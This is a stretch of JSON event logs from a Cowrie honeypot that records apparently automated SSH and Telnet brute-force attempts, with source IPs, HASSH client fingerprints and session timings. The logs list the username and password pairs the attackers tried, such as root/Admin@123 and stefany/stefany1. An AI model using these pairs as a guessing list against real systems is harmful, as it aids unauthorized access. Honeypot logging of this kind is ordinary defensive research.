{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:08.524993Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:08.900918Z","src_ip":"192.109.200.237","session":"cdc6a2467a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany","message":"login attempt [stefany/stefany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:08.927896Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany1","message":"login attempt [stefany/stefany1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:10.016418Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51824,"dst_ip":"159.203.135.109","dst_port":22,"session":"9847095a9222","protocol":"ssh","message":"New connection: 192.109.200.237:51824 (159.203.135.109:22) [session: 9847095a9222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:11.001839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:11.007557Z","src_ip":"192.109.200.237","session":"9847095a9222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:11.090459Z","src_ip":"192.109.200.237","session":"9847095a9222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany123","message":"login attempt [stefany/stefany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:11.105791Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:11.341219Z","src_ip":"192.109.200.237","session":"9847095a9222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany1234","message":"login attempt [stefany/stefany1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:12.191769Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:12.426008Z","src_ip":"192.109.200.237","session":"9847095a9222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.46805667877197,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:12.729019Z","src_ip":"152.42.224.71","session":"eced63014522","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stefany","password":"stefany12345","message":"login attempt [stefany/stefany12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:13.277471Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51836,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff96d1e9289","protocol":"ssh","message":"New connection: 192.109.200.237:51836 (159.203.135.109:22) [session: eff96d1e9289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:14.349472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:14.353181Z","src_ip":"192.109.200.237","session":"eff96d1e9289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:14.370289Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:14.435242Z","src_ip":"192.109.200.237","session":"eff96d1e9289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:14.685443Z","src_ip":"192.109.200.237","session":"eff96d1e9289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:15.771545Z","src_ip":"192.109.200.237","session":"eff96d1e9289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e418c07dd92","protocol":"telnet","message":"New connection: 152.42.224.71:40086 (10.17.0.5:23) [session: 5e418c07dd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:17.265914Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51846,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ade711f0933","protocol":"ssh","message":"New connection: 192.109.200.237:51846 (159.203.135.109:22) [session: 9ade711f0933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:17.665219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:17.669946Z","src_ip":"192.109.200.237","session":"9ade711f0933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:17.827685Z","src_ip":"192.109.200.237","session":"9ade711f0933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:18.112544Z","src_ip":"192.109.200.237","session":"9ade711f0933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:19.198582Z","src_ip":"192.109.200.237","session":"9ade711f0933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46670389175415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:20.084120Z","src_ip":"209.127.178.212","session":"a2bf03cff00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58178,"dst_ip":"159.203.135.109","dst_port":22,"session":"46b22b28004a","protocol":"ssh","message":"New connection: 192.109.200.237:58178 (159.203.135.109:22) [session: 46b22b28004a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:21.057376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:21.063604Z","src_ip":"192.109.200.237","session":"46b22b28004a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:21.147211Z","src_ip":"192.109.200.237","session":"46b22b28004a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:21.394519Z","src_ip":"192.109.200.237","session":"46b22b28004a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:22.568870Z","src_ip":"192.109.200.237","session":"46b22b28004a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58182,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e2f0669aae3","protocol":"ssh","message":"New connection: 192.109.200.237:58182 (159.203.135.109:22) [session: 7e2f0669aae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:24.402137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:24.407118Z","src_ip":"192.109.200.237","session":"7e2f0669aae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:24.490070Z","src_ip":"192.109.200.237","session":"7e2f0669aae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:24.748002Z","src_ip":"192.109.200.237","session":"7e2f0669aae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:25.834163Z","src_ip":"192.109.200.237","session":"7e2f0669aae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15dc360b692","protocol":"telnet","message":"New connection: 152.42.224.71:46238 (10.17.0.5:23) [session: a15dc360b692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:27.213416Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58198,"dst_ip":"159.203.135.109","dst_port":22,"session":"259936dfcd5f","protocol":"ssh","message":"New connection: 192.109.200.237:58198 (159.203.135.109:22) [session: 259936dfcd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:27.747005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:27.752105Z","src_ip":"192.109.200.237","session":"259936dfcd5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:27.834809Z","src_ip":"192.109.200.237","session":"259936dfcd5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:28.211315Z","src_ip":"192.109.200.237","session":"259936dfcd5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.194841861724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:29.181335Z","src_ip":"209.127.178.212","session":"d80915994742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:29.295215Z","src_ip":"192.109.200.237","session":"259936dfcd5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57734,"dst_ip":"159.203.135.109","dst_port":22,"session":"c077f12d8ac5","protocol":"ssh","message":"New connection: 192.109.200.237:57734 (159.203.135.109:22) [session: c077f12d8ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.087247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.091675Z","src_ip":"192.109.200.237","session":"c077f12d8ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:31.175339Z","src_ip":"192.109.200.237","session":"c077f12d8ac5","protocol":"ssh"}
